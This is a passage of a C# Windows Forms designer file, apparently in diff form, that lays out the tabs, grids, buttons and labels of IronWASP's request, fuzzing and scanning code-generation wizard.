this.ScanStep1StatusTB = new System.Windows.Forms.TextBox(); - this.textBox30 = new System.Windows.Forms.TextBox(); - this.ScanStepOnePreviousBtn = new System.Windows.Forms.Button(); - this.ScanStepOneNextBtn = new System.Windows.Forms.Button(); - this.tabPage20 = new System.Windows.Forms.TabPage(); - this.ScanStep2StatusTB = new System.Windows.Forms.TextBox(); - this.ScanSessionPluginGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn16 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn24 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanSessionPluginMsgTB = new System.Windows.Forms.TextBox(); - this.ScanStepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.ScanCreateCodeBtn = new System.Windows.Forms.Button(); - this.tabPage5 = new System.Windows.Forms.TabPage(); - this.ToolsCreateCodeBtn = new System.Windows.Forms.Button(); - this.ToolsItemGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn8 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.textBox11 = new System.Windows.Forms.TextBox(); - this.CopyScriptLL = new System.Windows.Forms.LinkLabel(); - this.ShowHideCommentsLL = new System.Windows.Forms.LinkLabel(); - this.CodeTabs = new System.Windows.Forms.TabControl(); - this.PyCodeTab = new System.Windows.Forms.TabPage(); - this.PythonCTB = new IronWASP.CodeTextBox(); - this.RbCodeTab = new System.Windows.Forms.TabPage(); - this.RubyCTB = new IronWASP.CodeTextBox(); - this.PayloadFileOpener = new System.Windows.Forms.OpenFileDialog(); - this.ErrorLbl = new System.Windows.Forms.Label(); - this.BaseSplit.Panel1.SuspendLayout(); - this.BaseSplit.Panel2.SuspendLayout(); - this.BaseSplit.SuspendLayout(); - this.QuestionTabs.SuspendLayout(); - this.tabPage15.SuspendLayout(); - this.tabPage1.SuspendLayout(); - this.tabControl1.SuspendLayout(); - this.tabPage6.SuspendLayout(); - this.CRFromLogPanel.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CRLogSourceGrid)).BeginInit(); - this.CRFromUrlPanel.SuspendLayout(); - this.tabPage12.SuspendLayout(); - this.RPPQuestionGB.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.RPPActionGrid)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.RPPParameterTypeGrid)).BeginInit(); - this.tabPage7.SuspendLayout(); - this.ROPQuestionGB.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ROPParameterTypeGrid)).BeginInit(); - this.tabPage8.SuspendLayout(); - this.groupBox1.SuspendLayout(); - this.tabPage13.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ReqOActionsGrid)).BeginInit(); - this.tabPage2.SuspendLayout(); - this.tabControl2.SuspendLayout(); - this.tabPage10.SuspendLayout(); - this.ResQuestionGB.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ResParameterTypeGrid)).BeginInit(); - this.tabPage11.SuspendLayout(); - this.HtmlAnswerPanel.SuspendLayout(); - this.HtmlGEPanel.SuspendLayout(); - this.HtmlGVPanel.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.HtmlOptionsGrid)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.HtmlMainActionsGrid)).BeginInit(); - this.tabPage9.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ResOActionsGrid)).BeginInit(); - this.tabPage3.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.LogSourceGrid)).BeginInit(); - this.tabPage4.SuspendLayout(); - this.tabPage14.SuspendLayout(); - this.FuzzBaseTabs.SuspendLayout(); - this.NameTab.SuspendLayout(); - this.LanguageTab.SuspendLayout(); - this.FuzzBodyTypeGB.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FuzzBodyTypeGrid)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.FuzzParameterTypeGrid)).BeginInit(); - this.PayloadsTab.SuspendLayout(); - this.groupBox3.SuspendLayout(); - this.groupBox2.SuspendLayout(); - this.FinalTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FuzzSessionPluginGrid)).BeginInit(); - this.tabPage16.SuspendLayout(); - this.ScanBaseTabs.SuspendLayout(); - this.tabPage18.SuspendLayout(); - this.ScanBodyTypeGB.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeGrid)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.ScanParameterTypeGrid)).BeginInit(); - this.tabPage19.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); - this.tabPage20.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanSessionPluginGrid)).BeginInit(); - this.tabPage5.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ToolsItemGrid)).BeginInit(); - this.CodeTabs.SuspendLayout(); - this.PyCodeTab.SuspendLayout(); - this.RbCodeTab.SuspendLayout(); - this.SuspendLayout(); - // - // BaseSplit - // - this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseSplit.Location = new System.Drawing.Point(0, 0); - this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.BaseSplit.Name = "BaseSplit"; - this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // BaseSplit.Panel1 - // - this.BaseSplit.Panel1.Controls.Add(this.QuestionTabs); - // - // BaseSplit.Panel2 - // - this.BaseSplit.Panel2.Controls.Add(this.ErrorLbl); - this.BaseSplit.Panel2.Controls.Add(this.CopyScriptLL); - this.BaseSplit.Panel2.Controls.Add(this.ShowHideCommentsLL); - this.BaseSplit.Panel2.Controls.Add(this.CodeTabs); - this.BaseSplit.Size = new System.Drawing.Size(884, 562); - this.BaseSplit.SplitterDistance = 354; - this.BaseSplit.SplitterWidth = 2; - this.BaseSplit.TabIndex = 0; - // - // QuestionTabs - // - this.QuestionTabs.Controls.Add(this.tabPage15); - this.QuestionTabs.Controls.Add(this.tabPage1); - this.QuestionTabs.Controls.Add(this.tabPage2); - this.QuestionTabs.Controls.Add(this.tabPage3); - this.QuestionTabs.Controls.Add(this.tabPage4); - this.QuestionTabs.Controls.Add(this.tabPage14); - this.QuestionTabs.Controls.Add(this.tabPage16); - this.QuestionTabs.Controls.Add(this.tabPage5); - this.QuestionTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.QuestionTabs.Location = new System.Drawing.Point(0, 0); - this.QuestionTabs.Margin = new System.Windows.Forms.Padding(0); - this.QuestionTabs.Name = "QuestionTabs"; - this.QuestionTabs.Padding = new System.Drawing.Point(0, 0); - this.QuestionTabs.SelectedIndex = 0; - this.QuestionTabs.Size = new System.Drawing.Size(884, 354); - this.QuestionTabs.TabIndex = 1; - // - // tabPage15 - // - this.tabPage15.Controls.Add(this.IntroRTB); - this.tabPage15.Location = new System.Drawing.Point(4, 22); - this.tabPage15.Name = "tabPage15"; - this.tabPage15.Size = new System.Drawing.Size(876, 328); - this.tabPage15.TabIndex = 6; - this.tabPage15.Text = " Intro "; - this.tabPage15.UseVisualStyleBackColor = true; - // - // IntroRTB - // - this.IntroRTB.BackColor = System.Drawing.Color.White; - this.IntroRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.IntroRTB.DetectUrls = false; - this.IntroRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.IntroRTB.Location = new System.Drawing.Point(0, 0); - this.IntroRTB.Name = "IntroRTB"; - this.IntroRTB.ReadOnly = true; - this.IntroRTB.Size = new System.Drawing.Size(876, 328); - this.IntroRTB.TabIndex = 0; - this.IntroRTB.Text = ""; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.tabControl1); - this.tabPage1.Location = new System.Drawing.Point(4, 22); - this.tabPage1.Margin = new System.Windows.Forms.Padding(0); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Size = new System.Drawing.Size(876, 328); - this.tabPage1.TabIndex = 0; - this.tabPage1.Text = " Request "; - this.tabPage1.UseVisualStyleBackColor = true; - // - // tabControl1 - // - this.tabControl1.Controls.Add(this.tabPage6); - this.tabControl1.Controls.Add(this.tabPage12); - this.tabControl1.Controls.Add(this.tabPage7); - this.tabControl1.Controls.Add(this.tabPage8); - this.tabControl1.Controls.Add(this.tabPage13); - this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tabControl1.Location = new System.Drawing.Point(0, 0); - this.tabControl1.Margin = new System.Windows.Forms.Padding(0); - this.tabControl1.Name = "tabControl1"; - this.tabControl1.Padding = new System.Drawing.Point(0, 0); - this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(876, 328); - this.tabControl1.TabIndex = 2; - // - // tabPage6 - // - this.tabPage6.BackColor = System.Drawing.Color.White; - this.tabPage6.Controls.Add(this.CRErrorTB); - this.tabPage6.Controls.Add(this.CRFromLogPanel); - this.tabPage6.Controls.Add(this.CRFromUrlPanel); - this.tabPage6.Controls.Add(this.CRCreateCodeBtn); - this.tabPage6.Controls.Add(this.CRFromLogRB); - this.tabPage6.Controls.Add(this.CRFromUrlRB); - this.tabPage6.Controls.Add(this.textBox1); - this.tabPage6.Location = new System.Drawing.Point(4, 22); - this.tabPage6.Margin = new System.Windows.Forms.Padding(0); - this.tabPage6.Name = "tabPage6"; - this.tabPage6.Size = new System.Drawing.Size(868, 302); - this.tabPage6.TabIndex = 0; - this.tabPage6.Text = " Create Request "; - // - // CRErrorTB - // - this.CRErrorTB.BackColor = System.Drawing.Color.Red; - this.CRErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CRErrorTB.Location = new System.Drawing.Point(506, 159); - this.CRErrorTB.Multiline = true; - this.CRErrorTB.Name = "CRErrorTB"; - this.CRErrorTB.ReadOnly = true; - this.CRErrorTB.Size = new System.Drawing.Size(258, 83); - this.CRErrorTB.TabIndex = 13; - this.CRErrorTB.TabStop = false; - this.CRErrorTB.Visible = false; - // - // CRFromLogPanel - // - this.CRFromLogPanel.Controls.Add(this.CRLogSourceGrid); - this.CRFromLogPanel.Controls.Add(this.CRLogIdTB); - this.CRFromLogPanel.Controls.Add(this.label2); - this.CRFromLogPanel.Location = new System.Drawing.Point(5, 158); - this.CRFromLogPanel.Name = "CRFromLogPanel"; - this.CRFromLogPanel.Size = new System.Drawing.Size(495, 141); - this.CRFromLogPanel.TabIndex = 12; - this.CRFromLogPanel.Visible = false; - // - // CRLogSourceGrid - // - this.CRLogSourceGrid.AllowUserToAddRows = false; - this.CRLogSourceGrid.AllowUserToDeleteRows = false; - this.CRLogSourceGrid.AllowUserToResizeRows = false; - this.CRLogSourceGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle35.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle35.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle35.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle35.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle35.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle35.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle35.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.CRLogSourceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle35; - this.CRLogSourceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.CRLogSourceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Column1, - this.Column2}); - this.CRLogSourceGrid.GridColor = System.Drawing.Color.White; - this.CRLogSourceGrid.Location = new System.Drawing.Point(6, 6); - this.CRLogSourceGrid.Name = "CRLogSourceGrid"; - this.CRLogSourceGrid.ReadOnly = true; - this.CRLogSourceGrid.RowHeadersVisible = false; - this.CRLogSourceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.CRLogSourceGrid.Size = new System.Drawing.Size(271, 132); - this.CRLogSourceGrid.TabIndex = 7; - this.CRLogSourceGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CRLogSourceGrid_CellClick); - // - // Column1 - // - this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column1.HeaderText = ""; - this.Column1.MinimumWidth = 25; - this.Column1.Name = "Column1"; - this.Column1.ReadOnly = true; - this.Column1.Width = 25; - // - // Column2 - // - this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.Column2.HeaderText = "Select the Log Source from below:"; - this.Column2.Name = "Column2"; - this.Column2.ReadOnly = true; - this.Column2.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // CRLogIdTB - // - this.CRLogIdTB.Location = new System.Drawing.Point(387, 9); - this.CRLogIdTB.Name = "CRLogIdTB"; - this.CRLogIdTB.Size = new System.Drawing.Size(86, 20); - this.CRLogIdTB.TabIndex = 8; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(290, 12); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(86, 13); - this.label2.TabIndex = 9; - this.label2.Text = "Enter the Log Id:"; - // - // CRFromUrlPanel - // - this.CRFromUrlPanel.Controls.Add(this.CRRequestBodyTB); - this.CRFromUrlPanel.Controls.Add(this.CRRequestUrlTB); - this.CRFromUrlPanel.Controls.Add(this.label1); - this.CRFromUrlPanel.Controls.Add(this.CRIncludeRequestBodyCB); - this.CRFromUrlPanel.Location = new System.Drawing.Point(4, 80); - this.CRFromUrlPanel.Name = "CRFromUrlPanel"; - this.CRFromUrlPanel.Size = new System.Drawing.Size(760, 73); - this.CRFromUrlPanel.TabIndex = 11; - // - // CRRequestBodyTB - // - this.CRRequestBodyTB.Enabled = false; - this.CRRequestBodyTB.Location = new System.Drawing.Point(284, 42); - this.CRRequestBodyTB.Name = "CRRequestBodyTB"; - this.CRRequestBodyTB.Size = new System.Drawing.Size(467, 20); - this.CRRequestBodyTB.TabIndex = 5; - // - // CRRequestUrlTB - // - this.CRRequestUrlTB.Location = new System.Drawing.Point(115, 8); - this.CRRequestUrlTB.Name = "CRRequestUrlTB"; - this.CRRequestUrlTB.Size = new System.Drawing.Size(438, 20); - this.CRRequestUrlTB.TabIndex = 3; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(6, 11); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(103, 13); - this.label1.TabIndex = 4; - this.label1.Text = "Enter Request URL:"; - // - // CRIncludeRequestBodyCB - // - this.CRIncludeRequestBodyCB.AutoSize = true; - this.CRIncludeRequestBodyCB.Location = new System.Drawing.Point(8, 43); - this.CRIncludeRequestBodyCB.Name = "CRIncludeRequestBodyCB"; - this.CRIncludeRequestBodyCB.Size = new System.Drawing.Size(270, 17); - this.CRIncludeRequestBodyCB.TabIndex = 6; - this.CRIncludeRequestBodyCB.Text = "Include this POST body with the Request(optional) :"; - this.CRIncludeRequestBodyCB.UseVisualStyleBackColor = true; - this.CRIncludeRequestBodyCB.CheckedChanged += new System.EventHandler(this.CRIncludeRequestBodyCB_CheckedChanged); - // - // CRCreateCodeBtn - // - this.CRCreateCodeBtn.Location = new System.Drawing.Point(608, 248); - this.CRCreateCodeBtn.Name = "CRCreateCodeBtn"; - this.CRCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.CRCreateCodeBtn.TabIndex = 10; - this.CRCreateCodeBtn.Text = "Generate Code"; - this.CRCreateCodeBtn.UseVisualStyleBackColor = true; - this.CRCreateCodeBtn.Click += new System.EventHandler(this.CRCreateCodeBtn_Click); - // - // CRFromLogRB - // - this.CRFromLogRB.AutoSize = true; - this.CRFromLogRB.Location = new System.Drawing.Point(195, 57); - this.CRFromLogRB.Name = "CRFromLogRB"; - this.CRFromLogRB.Size = new System.Drawing.Size(278, 17); - this.CRFromLogRB.TabIndex = 2; - this.CRFromLogRB.Text = "Pick a Request that is available in the IronWASP logs"; - this.CRFromLogRB.UseVisualStyleBackColor = true; - this.CRFromLogRB.CheckedChanged += new System.EventHandler(this.CRFromLogRB_CheckedChanged); - // - // CRFromUrlRB - // - this.CRFromUrlRB.AutoSize = true; - this.CRFromUrlRB.Checked = true; - this.CRFromUrlRB.Location = new System.Drawing.Point(18, 57); - this.CRFromUrlRB.Name = "CRFromUrlRB"; - this.CRFromUrlRB.Size = new System.Drawing.Size(156, 17); - this.CRFromUrlRB.TabIndex = 1; - this.CRFromUrlRB.TabStop = true; - this.CRFromUrlRB.Text = "Create Request from a URL"; - this.CRFromUrlRB.UseVisualStyleBackColor = true; - this.CRFromUrlRB.CheckedChanged += new System.EventHandler(this.CRFromUrlRB_CheckedChanged); - // - // textBox1 - // - this.textBox1.BackColor = System.Drawing.Color.White; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(18, 16); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(726, 24); - this.textBox1.TabIndex = 0; - this.textBox1.TabStop = false; - this.textBox1.Text = "You can define how you want to create a Request and the equivalent code for doing" + - " that will be displayed below."; - // - // tabPage12 - // - this.tabPage12.BackColor = System.Drawing.Color.White; - this.tabPage12.Controls.Add(this.RPPParameterDescriptionTB); - this.tabPage12.Controls.Add(this.RPPErrorTB); - this.tabPage12.Controls.Add(this.RPPCreateCodeBtn); - this.tabPage12.Controls.Add(this.RPPParameterValueTB); - this.tabPage12.Controls.Add(this.RPPParameterValueLbl); - this.tabPage12.Controls.Add(this.RPPParameterNameTB); - this.tabPage12.Controls.Add(this.RPPParameterNameLbl); - this.tabPage12.Controls.Add(this.RPPQuestionGB); - this.tabPage12.Controls.Add(this.RPPActionGrid); - this.tabPage12.Controls.Add(this.RPPParameterTypeGrid); - this.tabPage12.Controls.Add(this.textBox3); - this.tabPage12.Location = new System.Drawing.Point(4, 22); - this.tabPage12.Name = "tabPage12"; - this.tabPage12.Size = new System.Drawing.Size(868, 302); - this.tabPage12.TabIndex = 4; - this.tabPage12.Text = " Read or Modify Parameters "; - // - // RPPParameterDescriptionTB - // - this.RPPParameterDescriptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.RPPParameterDescriptionTB.BackColor = System.Drawing.Color.White; - this.RPPParameterDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.RPPParameterDescriptionTB.Location = new System.Drawing.Point(10, 197); - this.RPPParameterDescriptionTB.Multiline = true; - this.RPPParameterDescriptionTB.Name = "RPPParameterDescriptionTB"; - this.RPPParameterDescriptionTB.ReadOnly = true; - this.RPPParameterDescriptionTB.Size = new System.Drawing.Size(210, 59); - this.RPPParameterDescriptionTB.TabIndex = 17; - this.RPPParameterDescriptionTB.TabStop = false; - // - // RPPErrorTB - // - this.RPPErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.RPPErrorTB.BackColor = System.Drawing.Color.Red; - this.RPPErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.RPPErrorTB.Location = new System.Drawing.Point(16, 262); - this.RPPErrorTB.Multiline = true; - this.RPPErrorTB.Name = "RPPErrorTB"; - this.RPPErrorTB.ReadOnly = true; - this.RPPErrorTB.Size = new System.Drawing.Size(568, 35); - this.RPPErrorTB.TabIndex = 16; - this.RPPErrorTB.TabStop = false; - this.RPPErrorTB.Visible = false; - // - // RPPCreateCodeBtn - // - this.RPPCreateCodeBtn.Location = new System.Drawing.Point(621, 267); - this.RPPCreateCodeBtn.Name = "RPPCreateCodeBtn"; - this.RPPCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.RPPCreateCodeBtn.TabIndex = 15; - this.RPPCreateCodeBtn.Text = "Generate Code"; - this.RPPCreateCodeBtn.UseVisualStyleBackColor = true; - this.RPPCreateCodeBtn.Click += new System.EventHandler(this.RPPCreateCodeBtn_Click); - // - // RPPParameterValueTB - // - this.RPPParameterValueTB.Location = new System.Drawing.Point(598, 93); - this.RPPParameterValueTB.Name = "RPPParameterValueTB"; - this.RPPParameterValueTB.Size = new System.Drawing.Size(146, 20); - this.RPPParameterValueTB.TabIndex = 13; - this.RPPParameterValueTB.Visible = false; - // - // RPPParameterValueLbl - // - this.RPPParameterValueLbl.AutoSize = true; - this.RPPParameterValueLbl.Location = new System.Drawing.Point(475, 96); - this.RPPParameterValueLbl.Name = "RPPParameterValueLbl"; - this.RPPParameterValueLbl.Size = new System.Drawing.Size(116, 13); - this.RPPParameterValueLbl.TabIndex = 14; - this.RPPParameterValueLbl.Text = "Enter Parameter Value:"; - this.RPPParameterValueLbl.Visible = false; - // - // RPPParameterNameTB - // - this.RPPParameterNameTB.Location = new System.Drawing.Point(598, 67); - this.RPPParameterNameTB.Name = "RPPParameterNameTB"; - this.RPPParameterNameTB.Size = new System.Drawing.Size(146, 20); - this.RPPParameterNameTB.TabIndex = 11; - this.RPPParameterNameTB.Visible = false; - // - // RPPParameterNameLbl - // - this.RPPParameterNameLbl.AutoSize = true; - this.RPPParameterNameLbl.Location = new System.Drawing.Point(475, 70); - this.RPPParameterNameLbl.Name = "RPPParameterNameLbl"; - this.RPPParameterNameLbl.Size = new System.Drawing.Size(117, 13); - this.RPPParameterNameLbl.TabIndex = 12; - this.RPPParameterNameLbl.Text = "Enter Parameter Name:"; - this.RPPParameterNameLbl.Visible = false; - // - // RPPQuestionGB - // - this.RPPQuestionGB.Controls.Add(this.RPPAnswerTwoRB); - this.RPPQuestionGB.Controls.Add(this.RPPAnswerOneRB); - this.RPPQuestionGB.Location = new System.Drawing.Point(478, 142); - this.RPPQuestionGB.Name = "RPPQuestionGB"; - this.RPPQuestionGB.Size = new System.Drawing.Size(267, 103); - this.RPPQuestionGB.TabIndex = 10; - this.RPPQuestionGB.TabStop = false; - this.RPPQuestionGB.Text = "If a parameter with this name already exists then what do you wish to do?"; - this.RPPQuestionGB.Visible = false; - // - // RPPAnswerTwoRB - // - this.RPPAnswerTwoRB.AutoSize = true; - this.RPPAnswerTwoRB.Location = new System.Drawing.Point(27, 67); - this.RPPAnswerTwoRB.Name = "RPPAnswerTwoRB"; - this.RPPAnswerTwoRB.Size = new System.Drawing.Size(39, 17); - this.RPPAnswerTwoRB.TabIndex = 6; - this.RPPAnswerTwoRB.Text = "No"; - this.RPPAnswerTwoRB.UseVisualStyleBackColor = true; - // - // RPPAnswerOneRB - // - this.RPPAnswerOneRB.AutoSize = true; - this.RPPAnswerOneRB.Checked = true; - this.RPPAnswerOneRB.Location = new System.Drawing.Point(27, 44); - this.RPPAnswerOneRB.Name = "RPPAnswerOneRB"; - this.RPPAnswerOneRB.Size = new System.Drawing.Size(43, 17); - this.RPPAnswerOneRB.TabIndex = 5; - this.RPPAnswerOneRB.TabStop = true; - this.RPPAnswerOneRB.Text = "Yes"; - this.RPPAnswerOneRB.UseVisualStyleBackColor = true; - // - // RPPActionGrid - // - this.RPPActionGrid.AllowUserToAddRows = false; - this.RPPActionGrid.AllowUserToDeleteRows = false; - this.RPPActionGrid.AllowUserToResizeRows = false; - this.RPPActionGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.RPPActionGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle36.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle36.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle36.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle36.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle36.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle36.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle36.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.RPPActionGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle36; - this.RPPActionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.RPPActionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn2, - this.dataGridViewTextBoxColumn2}); - this.RPPActionGrid.GridColor = System.Drawing.Color.White; - this.RPPActionGrid.Location = new System.Drawing.Point(228, 44); - this.RPPActionGrid.Name = "RPPActionGrid"; - this.RPPActionGrid.ReadOnly = true; - this.RPPActionGrid.RowHeadersVisible = false; - this.RPPActionGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.RPPActionGrid.Size = new System.Drawing.Size(241, 213); - this.RPPActionGrid.TabIndex = 9; - this.RPPActionGrid.Visible = false; - this.RPPActionGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.RPPActionGrid_CellClick); - // - // dataGridViewCheckBoxColumn2 - // - this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn2.HeaderText = ""; - this.dataGridViewCheckBoxColumn2.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; - this.dataGridViewCheckBoxColumn2.ReadOnly = true; - this.dataGridViewCheckBoxColumn2.Width = 25; - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn2.HeaderText = "Select the action you want to perform:"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - this.dataGridViewTextBoxColumn2.ReadOnly = true; - this.dataGridViewTextBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // RPPParameterTypeGrid - // - this.RPPParameterTypeGrid.AllowUserToAddRows = false; - this.RPPParameterTypeGrid.AllowUserToDeleteRows = false; - this.RPPParameterTypeGrid.AllowUserToResizeRows = false; - this.RPPParameterTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.RPPParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle37.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle37.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle37.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle37.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle37.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle37.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle37.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.RPPParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle37; - this.RPPParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.RPPParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn1, - this.dataGridViewTextBoxColumn1, - this.Column3}); - this.RPPParameterTypeGrid.GridColor = System.Drawing.Color.White; - this.RPPParameterTypeGrid.Location = new System.Drawing.Point(10, 44); - this.RPPParameterTypeGrid.Name = "RPPParameterTypeGrid"; - this.RPPParameterTypeGrid.ReadOnly = true; - this.RPPParameterTypeGrid.RowHeadersVisible = false; - this.RPPParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.RPPParameterTypeGrid.Size = new System.Drawing.Size(210, 147); - this.RPPParameterTypeGrid.TabIndex = 8; - this.RPPParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.RPPParameterTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn1 - // - this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn1.HeaderText = ""; - this.dataGridViewCheckBoxColumn1.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; - this.dataGridViewCheckBoxColumn1.ReadOnly = true; - this.dataGridViewCheckBoxColumn1.Width = 25; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = 